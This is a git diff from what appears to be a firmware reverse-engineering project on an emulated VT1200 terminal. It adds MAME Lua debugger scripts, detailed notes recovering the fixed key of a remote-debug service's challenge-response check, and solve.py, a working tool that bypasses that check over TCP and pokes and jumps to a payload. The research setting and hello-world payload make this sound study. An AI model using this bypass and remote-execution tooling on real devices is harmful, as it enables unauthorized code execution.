pc=%08X\\n", pc ; g }') + dbg:command('bpset 3F5A0200,,{ printf "LIVE2 challenge sent a13=%08X wire=%08X.%08X.%08X.%08X host=%08X.%08X.%08X.%08X\\n", a13, d@(a13), d@(a13+0x20), d@(a13+0x40), d@(a13+0x60), d@(a13+0x100), d@(a13+0x120), d@(a13+0x140), d@(a13+0x160) ; g }') + dbg:command('bpset 3F5A0740,,{ printf "LIVE2 pre-transform reply=%08X.%08X.%08X.%08X\\n", d@(a13+0x80), d@(a13+0xa0), d@(a13+0xc0), d@(a13+0xe0) ; g }') + dbg:command('bpset 3F5A08E0,,{ printf "LIVE2 memcmp-args expecting=%08X.%08X.%08X.%08X got=%08X.%08X.%08X.%08X\\n", d@(a9), d@(a9+0x20), d@(a9+0x40), d@(a9+0x60), d@(a11), d@(a11+0x20), d@(a11+0x40), d@(a11+0x60) ; g }') + -- OBSERVE ONLY: print the comparison result; never assign to a8. + dbg:command('bpset 3F5A0920,,{ printf "LIVE2 challenge memcmp a8=%08X (0=equal)\\n", a8 ; g }') + dbg:command('bpset 3F5A1B50,,{ printf "LIVE2 rdebug_poke entry pc=%08X\\n", pc ; g }') + dbg:command('bpset 3F5A3890,,{ printf "LIVE2 rdebug_jump entry pc=%08X\\n", pc ; g }') + print("LIVE2 armed read-only breakpoints") + end + if f % 500 == 0 then + print(string.format("LIVE2 frame %5d word@0xAECD0=%04X field2..3=%d", + f, space:read_u16(0xaecd0), (space:read_u16(0xaecd0) >> 2) & 3)) + end + if done_at == nil and space:read_u16(MAGIC1) == 0xDEAD then + done_at = f + report_magic("payload-ran") + end + if done_at and f >= done_at + 120 then + print(string.format("LIVE2 exiting at frame %d (payload seen at %d)", f, done_at)) + machine:exit() + end + if f >= 9000 then + print("LIVE2 timeout: no payload markers") + machine:exit() + end +end, "vt1200-live-verify") +dbg.execution_state = 'run' diff --git a/dwt/evidence/scripts/oracle_call.lua b/dwt/evidence/scripts/oracle_call.lua new file mode 100644 index 0000000..41b9a74 --- /dev/null +++ b/dwt/evidence/scripts/oracle_call.lua @@ -0,0 +1,197 @@ +-- oracle_call.lua -- drive the firmware's own dwt_prf transform from the +-- debugger, with no TCP connection. +-- +-- At frame 1000: +-- 0x3F5A9620(1) dwt_prf's allocator/init (Ghidra 0x07EB52C4) +-- 0x3F5AA2C0(0x1BE810) key schedule from the boot-time block +-- then, for each vector in VECTORS: +-- 0x3F5A09C0(BUF, 16) the transform dwt_prf applies to the reply +-- and prints the 16 output bytes. +-- +-- Optionally (INVERSE=1) it calls 0x3F5AADA0 (the per-record companion that +-- looks like the inverse) on the vectors instead. +-- +-- Output lines: ORACLE +local machine = manager.machine +local cpu = machine.devices[':maincpu'] +local dbg = machine.debugger +local space = cpu.spaces['program'] +if not dbg then machine:exit(); return end +dbg.visible_cpu = cpu + +local ARG = 0x01800000 +local STACK = 0x01840000 +local RET = 0x018c0000 +local BUF = 0x01810000 +local IE = 0x200000 +local INIT = 0x3F5A9620 +local SCHED = 0x3F5AA2C0 +local XFORM = 0x3F5A09C0 +local XFORM1 = 0x3F5AADA0 + +local INVERSE = (os.getenv("ORACLE_INVERSE") or "") ~= "" +local COUNT = tonumber(os.getenv("ORACLE_COUNT") or "0") + +local f = 0 +local started = false +local phase = "init" -- init | sched | vectors | dump | done +local saved = {} +local idx = 0 +local vectors = {} +local cur = nil + +-- deterministic pseudo-random vectors plus the all-zero and ff cases +local function make_vectors() + vectors[1] = string.rep("\0", 16) + vectors[2] = string.rep("\255", 16) + local x = 0x12345678 + for i = 3, COUNT do + local t = {} + for j = 1, 16 do + x = (x * 1103515245 + 12345) & 0x7fffffff + t[j] = string.char((x >> 16) & 0xff) + end + vectors[i] = table.concat(t) + end +end + +local function state(name) + local r = cpu.state[name] + return r and r.value or nil +end + +local function push(v) + local sp = state('SP') - 0x20 + space:write_u32(sp, v) + cpu.state['SP'].value = sp +end + +local function setup_call(target, args) + saved.pc = state('PC') + saved.sp = state('SP') + saved.a14 = state('A14') + saved.st = state('ST') + cpu.state['SP'].value = STACK + if #args > 0 then + local a = ARG + for i = 1, #args do + space:write_u32(a, args[i]) + a = a + 0x20 + end + push(saved.a14) + cpu.state['A14'].value = ARG + #args * 0x20 + else + push(saved.a14) + cpu.state['A14'].value = ARG + end + push(RET) + cpu.state['PC'].value = target + cpu.state['ST'].value = saved.st & ~IE + dbg:command('bclear') + dbg:command(string.format('bpset %X', RET)) + dbg.execution_state = 'run' +end + +local function restore() + dbg:command('bclear') + cpu.state['PC'].value = saved.pc + cpu.state['SP'].value = saved.sp + cpu.state['A14'].value = saved.a14 + cpu.state['ST'].value = saved.st +end + +local function hexbytes(addr, n) + local t = {} + for i = 0, n - 1 do + t[#t + 1] = string.format("%02X", space:read_u8(addr + i * 8)) + end + return table.concat(t) +end + +local function writebytes(addr, s) + for i = 1, #s do + space:write_u8(addr + (i - 1) * 8, s:byte(i)) + end +end + +local function next_vector() + idx = idx + 1 + if idx > #vectors then + phase = "done" + restore() + machine:exit() + return + end + cur = vectors[idx] + writebytes(BUF, cur) + if INVERSE then + -- per-record inverse companion; call it twice, one 8-byte record each + phase = "vec_inv_lo" + setup_call(XFORM1, { BUF }) + else + phase = "vec_fwd" + setup_call(XFORM, { 16, BUF }) + end +end + +emu.register_frame_done(function() + f = f + 1 + if f == 1000 and not started then + started = true + if COUNT < 2 then COUNT = 2 end + make_vectors() + print(string.format("ORACLE start frame=%d p200=%08X p400=%08X", + f, space:read_u32(0x1c0200), space:read_u32(0x1c0400))) + phase = "init" + setup_call(INIT, { 1 }) + return + end + if not started then return end + if f % 100 == 0 then + print(string.format("ORACLE trace frame=%d phase=%s state=%s pc=%08X sp=%08X", + f, phase, tostring(dbg.execution_state), + state('PC') or 0, state('SP') or 0)) + end + if f > 1600 and phase ~= "done" then + print("ORACLE watchdog: exiting") + phase = "done" + restore() + machine:exit() + return + end + if dbg.execution_state ~= 'stop' then return end + + if phase == "init" then + print(string.format("ORACLE init done @1C0200=%08X @1C0220=%08X @1C0240=%08X @1C0260=%08X @1C0400=%08X", + space:read_u32(0x1c0200), space:read_u32(0x1c0220), + space:read_u32(0x1c0240), space:read_u32(0x1c0260), space:read_u32(0x1c0400))) + phase = "sched" + setup_call(SCHED, { 0x1be810 }) + elseif phase == "sched" then + local kp = space:read_u32(0x1c0260) + local fp = space:read_u32(0x1c0200) + print("ORACLE KP=" .. string.format("%08X", kp) .. " FP=" .. string.format("%08X", fp)) + if kp ~= 0 then print("ORACLE KEY " .. hexbytes(kp, 128)) end + if fp ~= 0 then print("ORACLE FTAB " .. hexbytes(fp, 2048)) end + -- boot-time inputs the schedule reads + print("ORACLE SEED " .. hexbytes(0x1be810, 128)) + print("ORACLE R1 " .. hexbytes(0x1bed40, 0x38)) + print("ORACLE R2 " .. hexbytes(0x1bef00, 0x80)) + print("ORACLE R3 " .. hexbytes(0x1bef80, 0x80)) + print("ORACLE R4 " .. hexbytes(0x1c0280, 0xE0)) + next_vector() + elseif phase == "vec_fwd" then + print("ORACLE " .. cur:gsub(".", function(c) return string.format("%02X", c:byte()) end) + .. " " .. hexbytes(BUF, 16)) + next_vector() + elseif phase == "vec_inv_lo" then + phase = "vec_inv_hi" + setup_call(XFORM1, { BUF + 0x40 }) + elseif phase == "vec_inv_hi" then + print("ORACLE_INV " .. cur:gsub(".", function(c) return string.format("%02X", c:byte()) end) + .. " " .. hexbytes(BUF, 16)) + next_vector() + end +end, "vt1200-oracle-call") + +dbg.execution_state = 'run' diff --git a/dwt/notes/CHALLENGE_REVERSE.md b/dwt/notes/CHALLENGE_REVERSE.md new file mode 100644 index 0000000..fbe1335 --- /dev/null +++ b/dwt/notes/CHALLENGE_REVERSE.md @@ -0,0 +1,260 @@ +# The `dwt_prf` challenge, reversed — and the remote path is open + +Status: **solved.** The 16-byte challenge at bit `0x3F59FDC0` (Ghidra +`0x07EB3FB8`) can be answered from the challenge alone, offline, with no +debugger. The reply is computed with `dwt/challenge.py`; two live TCP sessions +passed the comparison (`memcmp` returned **0**) and ran an 82-byte payload +through `poke` + `jump`. + +ROM untouched: `md5 b46a3e442ccb86134d2356bd70d22fd2`. No driver edits. The +TCP path needs `VT1200_SKIP_LEVEL1=1`, a documented harness divergence. + +--- + +## 1. Direction: the firmware transforms **our reply** and compares it to the challenge + +`dwt_prf`'s post-`recv` code (`reference/dis34-a-v22.txt.gz`, decoded with +`tools/smart34010/dis34`, base bit `0x3F59FDC0`): + +``` +3f5a0140: push 16 ; push a13 ; push 0x7f ; push session +3f5a01d0: calla L3F5A0B20 ; write_message(flag=0x7F, buf=a13, 16) +3f5a0200: push 0 ; push 16 ; a11 = a13+0x80 ; push a11 ; push session +3f5a02b0: calla 0x3f5d8e70 ; recv(session, a13+0x10, 16, 0) +3f5a0410: ... ntohl(*a13(0x80)) -> *a13(0x80) +3f5a0490: ... ntohl(*a13(0xa0)) -> *a13(0xa0) ; +0x04 +3f5a0510: ... ntohl(*a13(0xc0)) -> *a13(0xc0) ; +0x08 +3f5a0590: ... ntohl(*a13(0xe0)) -> *a13(0xe0) ; +0x0c +3f5a0660: calla 0x3f5a9620 ; init(1): F table + key only +3f5a06c0: calla 0x3f5aa2c0 ; key schedule from 0x1BE810 +3f5a0740: push 16 ; a11 = a13+0x80 ; push a11 +3f5a07b0: calla L3F5A09C0 ; transform(reply, 16) IN PLACE +3f5a0810: push *a13(0x1a0) ; calla 0x3fb338d0 +3f5a0880: push 16 ; push a11 +3f5a08b0: a9 = a13 + 0x100 (bits) ; = frame+0x20 +3f5a08f0: calla 0x3f942230 ; memcmp(frame+0x20, a11, 16) +3f5a0930: jreq -> return 1, else return 0 +``` + +* Four runtime words are stored at `frame+0x20` (bit offsets `0x100/0x120/ + 0x140/0x160`), **byte-swapped into `frame+0`**, and those network-order bytes + are what `write_message` sends. The comparison uses `frame+0x20`, i.e. the + host-order copy — the wire challenge with each 32-bit word reversed. +* The reply is received at `frame+0x10`, `ntohl`'d **in place**, and then + `0x3F5A09C0` rewrites `frame+0x10` in place. Live confirmation at the + comparison (`dwt/evidence/live-run/debug-live.log`): + +``` +LIVE2 challenge sent a13=007AE7B0 wire=3DB79CF3.8EB50000.C0A86302.3EB794F3 host=F39CB73D.0000B58E.0263A8C0.F394B73E +LIVE2 pre-transform reply=71C08104.AF81012D.BE5884F7.634E8818 +LIVE2 memcmp-args expecting=F39CB73D.0000B58E.0263A8C0.F394B73E got=F39CB73D.0000B58E.0263A8C0.F394B73E +LIVE2 challenge memcmp a8=00000000 (0=equal) +``` + +The client sent wire bytes `f3 9c b7 3d ...` (printed above as little-endian +word `3DB79CF3`); the host copy at `frame+0x20` is `3d b7 9c f3 ...` — exactly +`swap4(wire)`. The transform's input (`pre-transform reply`) is +`04 81 c0 71 ...` = `swap4(reply_wire)`. So: + +``` +firmware check: transform(swap4(reply_wire)) == swap4(challenge_wire) +required reply: reply_wire = swap4(inverse_transform(swap4(challenge_wire))) +``` + +**This is the inverse direction.** Echo cannot work, and neither can any +"computed" byte swap alone. The forward function alone is not enough. + +## 2. Why earlier attempts failed to see the structure + +Earlier notes described a "font render + Feistel" pipeline with the font tables +at `@0x1C0220` / `@0x1C0240`. The pipeline does contain two render calls, but +in the rdebug path they are **memcpy**: + +* `0x3F5A9620` is the only initialiser of those globals (its one direct `calla` + in the linear disassembly is in `dwt_prf`, which calls it with mode **1**), + and at frame 2000 of a booted OS all four globals are still zero — the OS + boot never calls it. +* Mode 1 allocates and fills `@0x1C0200` (the SP tables) and `@0x1C0260` + (128-byte key) and returns; it **never allocates** `@0x1C0220` / `@0x1C0240`. + A frame-2000 read of all four globals in a booted OS is `0,0,0,0`; after + `init(1)` only the first and third are nonzero. +* The renderer `0x3F5AC710` branches on its table argument: if the table pointer + is zero it calls `0x3FE169C0` with 8 bytes, i.e. `memcpy(dest, src, 8)`. + Both render calls therefore copy, and the two copies cancel inside one + record. What remains is a pure Feistel network. + +The "font" part of the pipeline exists, but it is dead on this code path. That +is why the captured render probes looked nonlinear yet did not fit a font. + +## 3. The transform + +`0x3F5A09C0` (Ghidra `0x07EB4138`) walks the buffer in **8-byte records** +(`addi 0x40, a9` = +8 bytes, `subk 8, a10`): + +``` +3f5a09f0: a9 = arg0 (buffer), a10 = arg1 (length) +3f5a0a30: if length == 0 return +3f5a0a40: push a9 ; calla 0x3f5aba40 ; a9 += 8 bytes ; a10 -= 8 ; loop +``` + +Each record is independent of the other. `0x3F5ABA40` (Ghidra `0x07EB5748`) +does, per record: + +1. `render(record, @0x1C0220, scratch)` — memcpy on this path. +2. `a10 = bswap32(word at scratch+0)`, `a9 = bswap32(word at scratch+4)` + (`0x3F5AE670` swaps bytes 0<->3 and 1<->2), i.e. the two halves are read + **big-endian**. +3. 16 Feistel rounds, keys from `@0x1C0260 + 0x78` down to `@0x1C0260 + 0x00`, + 8 bytes each (`subi 0x40, a11` after every round): + +``` +round n (n = 0..15): k = key[15 - n] + n even: a10 ^= F(a9, k) + n odd : a9 ^= F(a10, k) +``` + +4. `scratch+0 = bswap32(a9)`, `scratch+4 = bswap32(a10)` — written big-endian + as `(R, L)`, because `a9` is stored first. +5. `render(scratch, @0x1C0240, record)` — memcpy back on this path. + +### Round function F — `0x3F5ACEC0` (Ghidra `0x07EB59D8`) + +`F(x, k8)` forms eight 6-bit indices and ORs one 32-bit word per index: + +``` +a2 = rol32(x, 1) (sll 1 + carry of bit 31, or'd in) +i0 = k[7] ^ a2 i4 = k[3] ^ (x >> 15) +i1 = k[6] ^ (x >> 3) i5 = k[2] ^ (x >> 19) +i2 = k[5] ^ (x >> 7) i6 = k[1] ^ (x >> 23) +i3 = k[4] ^ (x >> 11) i7 = k[0] ^ ((x >> 27) | ((x & 1) << 5)) +each & 0x3F +``` + +Table `i` lives at `SP + (7-i)*0x100 + index*4` (64 little-endian 32-bit words +per table, eight tables = 2048 bytes at `@0x1C0200`). The disassembly's +`a11 = table + 0x3800 (bits)` then `subi 0x800` per lookup is the same thing in +bit addresses. + +### Key and tables + +`0x3F5AA2C0(0x1BE810)` (`0x3F5A9620(1)` → mode 1) derives the 128-byte key from +boot-time RAM blocks that are themselves boot-time copies of ROM data +(`0x1BED40`, `0x1BEF00`, `0x1BEF80`, `0x1C0280`). It is **fixed**: + +* two fresh-NVRAM boots produced byte-identical key and SP table + (`dwt/evidence/oracle-forward-boot1.log` / `boot2.log`); +* they also match the key captured from a live TCP challenge in the earlier + session (`dwt/evidence/run-live/key.bin`, parsed little-endian). + +The values embedded in `dwt/challenge.py` are the firmware's own output, not a +guess: they were extracted by calling the firmware's initialiser in MAME +(`dwt/evidence/scripts/oracle_call.lua`). They are not a "response table"; the +response still depends on the per-connection challenge. + +## 4. Inverse + +A Feistel network is invertible for any F. Running the same rounds backwards +with the same keys gives the inverse: + +``` +forward: L ^= F(R,k15); R ^= F(L,k14); ... ; R ^= F(L,k0) (16 rounds) +inverse: start from (L,R) = (out[4:8], out[0:4]); + for n = 15..0: if n even L ^= F(R,k[15-n]) else R ^= F(L,k[15-n]) +``` + +The firmware contains this inverse as a separate function, **`0x3F5AADA0`** +(Ghidra `0x07EB55B4`): same two renders, the same 16 keys in ascending order, +and the two halves swapped on store. Our `challenge.invert()` matches its +output on every test vector (6/6, `dwt/evidence/oracle-inverse.log`), which is +independent confirmation both of the round structure and of the inversion. + +## 5. Implementation + +`dwt/challenge.py` (standard library only): + +``` +respond(challenge_wire) = swap4(invert(swap4(challenge_wire))) +transform(buf16) / invert(buf16) / check_reply(challenge, reply) +``` + +`dwt/solve.py` wraps `dwt/exploit.py` unmodified: it patches +`RDebug.answer_challenge` to compute the reply with `challenge.respond()`. +(`dwt/exploit.py --challenge-raw` accepts the same bytes by hand.) + +## 6. Validation + +| ground truth | result | +|---|---| +| 70 vectors from MAME calling the real `0x3F5A09C0`, fresh boot 1 | **70/70** (140 independent records) | +| same on fresh boot 2 (independent key/table dump) | **70/70** | +| `dwt/challenge_vectors.json` (other agent, 180 vectors) | **180/180** | +| firmware's own inverse `0x3F5AADA0` | **6/6** | +| live wire challenges answered by `respond()` | **3/3** sessions proceeded past the check; `memcmp a8=0` where observed | +| payload over TCP after the computed answer | `MAGIC1=DEAD MAGIC2=BEEF COUNT=0400`, VRAM 1024/1024 `FFFF`, 0 holes | + +The two live runs: + +* `dwt/evidence/live-run/` — read-only breakpoints (print `a8`, never write it): + two connections, both `memcmp a8=00000000`; the second ran `poke`+`jump`. +* `dwt/evidence/live-run2/` — **no breakpoints at all** (the Lua script only + polls RAM/VRAM once per frame). Client transcript + `dwt/evidence/live-run2/client.log`, emulator log + `dwt/evidence/live-run2/mame.log`, BOOTP log `serve.log`. + +Run 2 transcript: + +``` +[+] challenge f7 b4 6c 6b 00 00 6b 3f 02 63 a8 c0 f7 ac 6c 6c +[+] reply 49 0a ad 58 f1 ea b2 5a 3d fe f0 ee 92 6b 0a 20 +opcode 7 -> Done\n +peek 0x3f200000 (8) -> e9 7a e2 f5 aa aa 55 55 +poke-file .../payload.bin: 82 bytes at 0x01800000: ok +jump 0x01800000: sent +CHECK payload-ran: MAGIC1=DEAD MAGIC2=BEEF COUNT=0400 +CHECK payload-ran: VRAM block 1024/1024 words FFFF, 0 holes +``` + +## 7. Reproduction + +```sh +# offline: known answers and inverse checks +python3 dwt/challenge.py --selftest +python3 dwt/challenge.py --challenge f32cec8d0000ead00263a8c0f324ec8e + +# emulator ground truth, no network: calls the firmware's own routines +ORACLE_COUNT=70 VT1200_SKIP_LEVEL1=1 \ + /home/arti/code/k-space/mame0289/vt1200 vt1200 \ + -rompath harness/mame/roms -video none -sound none -nothrottle \ + -debug -debugger none -debuglog -nvram_directory \ + -autoboot_script dwt/evidence/scripts/oracle_call.lua -autoboot_delay 0 + +# live (needs the tap + BOOTP; see harness/net-setup.sh, harness/serve.py) +./harness/net-setup.sh +sudo python3 -u harness/serve.py 192.168.99.1 --bootp & +VT1200_SKIP_LEVEL1=1 /home/arti/code/k-space/mame0289/vt1200 vt1200 \ + -rompath harness/mame/roms -video none -sound none -nothrottle \ + -debug -debugger none -debuglog -cfg_directory \ + -nvram_directory -networkprovider taptun \ + -autoboot_script dwt/evidence/scripts/live_check.lua -autoboot_delay 0 +python3 dwt/solve.py --host 192.168.99.2 --peek 0x3F200000 --len 8 \ + --poke-file 0x01800000 --file harness/hello-world/payload.bin \ + --jump 0x01800000 +``` + +## 8. Caveats and open points + +* `VT1200_SKIP_LEVEL1=1` is required for the TCP stack; the result is about the + firmware service with the OS up, not about a real terminal's POST. +* The key is fixed for this firmware image. It is derived at run time from + boot-time RAM copies of ROM data, but the derivation itself was not reduced to + a ROM-offset formula (`0x3F5AA2C0` has a data-dependent path through + `0x1C0280`). The constants were therefore captured from the firmware; this + does not affect generality on this image, and the key was verified stable + across two fresh boots and against a live challenge. +* The challenge is not a password in the cryptographic sense: since the key is + fixed and the transform is public code, any client that implements it can + pass. The earlier "no ROM/NVRAM constant is compared" observation stands; + the key material is a runtime table schedule, not a secret in NVRAM. +* `debug.log` at the repository root was overwritten by MAME's `-debuglog` while + running these tests; the live content was copied to + `dwt/evidence/live-run/debug-live.log`. It is not part of this change. diff --git a/dwt/notes/CROSS.md b/dwt/notes/CROSS.md index 9e68366..f010bfb 100644 --- a/dwt/notes/CROSS.md +++ b/dwt/notes/CROSS.md @@ -248,3 +248,40 @@ output bits on average (23–42). Reproduce: `python3 dwt/oracle.py` (~35 s, two boots + stage capture). No ROM, driver or `dwt_prf` code was modified; no socket was used for the vectors. + +## 2026-10-18 — challenge reversed: the remote path is open (supersedes the echo reading) + +**The challenge no longer blocks anything.** `dwt/challenge.py` answers it from +the challenge bytes alone; `dwt/solve.py` did so over TCP with no debugger: + +* The firmware **transforms our reply** and compares it with the host-order copy + of the challenge: `memcmp(frame+0x20, transform(frame+0x10), 16)`. The reply + must therefore be `swap4(inverse_transform(swap4(challenge)))` — the inverse + direction, not echo. Live bytes at the comparison are in + `dwt/evidence/live-run/debug-live.log` (`expecting == got`, `a8=0`). +* The transform is a **16-round Feistel per independent 8-byte record**, keys + `key[15]..key[0]` (128-byte schedule at `@0x1C0260`), round function + `0x3F5ACEC0` = eight 6-bit SP-table lookups OR'd (`@0x1C0200`, 2048 bytes). +* The "font renders" at `@0x1C0220`/`@0x1C0240` are **memcpy in this path**: + `dwt_prf` calls `0x3F5A9620(1)`, which allocates only the SP table and the + key. The font pointers stay NULL (`0,0,0,0` at frame 2000; `init(1)` leaves + them zero), and the renderer's table==0 branch is a memcpy. Earlier attempts + tried to invert a font stage that never runs here. +* Key and SP table are fixed: identical across two fresh-NVRAM boots and + identical to the earlier live capture. They are embedded in + `dwt/challenge.py`; provenance and disassembly are in + `dwt/notes/CHALLENGE_REVERSE.md`. +* Validation: 70/70 + 70/70 emulator forward vectors (140 records each), + 180/180 in `dwt/challenge_vectors.json`, 6/6 against the firmware's own + inverse `0x3F5AADA0`, and live sessions that ran `peek`, `poke` and `jump` + after the computed answer. +* **Remote execution demonstrated:** the 82-byte `harness/hello-world` payload + was poked to bit `0x01800000` and jumped to over TCP; the emulator read back + `MAGIC1=DEAD MAGIC2=BEEF COUNT=0400` and 1024/1024 VRAM words `FFFF`. + `dwt/evidence/live-run2/` is that run with **no breakpoints at all** (the Lua + script only polls RAM). Only `VT1200_SKIP_LEVEL1=1` is needed for TCP. + +Files: `dwt/challenge.py`, `dwt/solve.py`, `dwt/notes/CHALLENGE_REVERSE.md`, +`dwt/evidence/oracle-*.log`, `dwt/evidence/VALIDATION.txt`, +`dwt/evidence/live-run{,2}/`, `dwt/evidence/scripts/{oracle_call,live_verify,live_check}.lua`. +`dwt/exploit.py` and `dwt/mop_console.py` were not modified. diff --git a/dwt/solve.py b/dwt/solve.py new file mode 100644 index 0000000..7c095e8 --- /dev/null +++ b/dwt/solve.py @@ -0,0 +1,101 @@ +#!/usr/bin/env python3 +"""End-to-end dwt_prf exploit over TCP: answer the challenge with computed +bytes (no debugger, no forced comparison), then poke and run a payload. + +This wraps dwt/exploit.py's client; it does not modify it. The only change is +that ``answer_challenge`` computes the reply with dwt/challenge.py from the +challenge the terminal just sent, instead of echoing it. + + python3 dwt/solve.py --host 192.168.99.2 \ + --poke-file 0x01800000 --file harness/hello-world/payload.bin \ + --jump 0x01800000 + +With no arguments it runs the liveness opcode and prints the challenge/reply. +""" +from __future__ import annotations + +import argparse +import os +import sys +import time + +HERE = os.path.dirname(os.path.abspath(__file__)) +sys.path.insert(0, HERE) + +import challenge # noqa: E402 +import exploit # noqa: E402 + +# --- the whole bypass: compute the answer from the challenge ---------------- +_orig_answer = exploit.RDebug.answer_challenge + + +def _answer(self, challenge_bytes: bytes) -> None: + self.challenge_raw = challenge.respond(challenge_bytes) + print(f"[+] challenge {challenge_bytes.hex(' ')}", flush=True) + print(f"[+] reply {self.challenge_raw.hex(' ')}", flush=True) + print(f"[+] reply satisfies firmware comparison: " + f"{challenge.check_reply(challenge_bytes, self.challenge_raw)}", + flush=True) + return _orig_answer(self, challenge_bytes) + + +exploit.RDebug.answer_challenge = _answer + + +def main(argv: list[str]) -> int: + ap = argparse.ArgumentParser(description=__doc__, + formatter_class=argparse.RawDescriptionHelpFormatter) + ap.add_argument("--host", default="192.168.99.2") + ap.add_argument("--port", type=int, default=771) + ap.add_argument("--timeout", type=float, default=8.0) + ap.add_argument("--verbose", action="store_true") + ap.add_argument("--liveness", type=int, default=7) + ap.add_argument("--poke-file", type=exploit.parse_int) + ap.add_argument("--file") + ap.add_argument("--poke-chunk", type=int, default=exploit.MAX_XFER) + ap.add_argument("--jump", type=exploit.parse_int) + ap.add_argument("--arg", type=exploit.parse_int, action="append", default=[]) + ap.add_argument("--peek", type=exploit.parse_int) + ap.add_argument("--len", type=int, default=8) + ap.add_argument("--settle", type=float, default=2.0, + help="seconds to wait after jump so the payload can run") + a = ap.parse_args(argv[1:]) + + rd = exploit.RDebug(a.host, a.port, a.timeout, a.verbose) + try: + rd.connect() + flag, payload = rd.liveness(a.liveness) + print(f"opcode {a.liveness} -> flag={flag:#04x} payload={payload.hex(' ')}" + f" ({payload!r})") + if rd.challenge_raw is None: + print("error: no challenge was seen", file=sys.stderr) + return 2 + if a.peek is not None: + print(f"peek {a.peek:#010x} ({a.len}) -> " + f"{rd.peek(a.peek, a.len).hex(' ')}") + if a.poke_file is not None: + if not a.file: + print("error: --poke-file needs --file", file=sys.stderr) + return 2 + data = open(a.file, "rb").read() + off = 0 + while off < len(data): + chunk = data[off:off + a.poke_chunk] + rd.poke(a.poke_file + off * 8, chunk) + off += len(chunk) + print(f"poke-file {a.file}: {len(data)} bytes at " + f"{a.poke_file:#010x}: ok") + if a.jump is not None: + rd.jump(a.jump, a.arg, wait=False) + print(f"jump {a.jump:#010x}: sent") + time.sleep(a.settle) + return 0 + except (OSError, exploit.ProtocolError, ValueError) as exc: + print(f"error: {exc}", file=sys.stderr) + return 2 + finally: + rd.close() + + +if __name__ == "__main__": + raise SystemExit(main(sys.argv))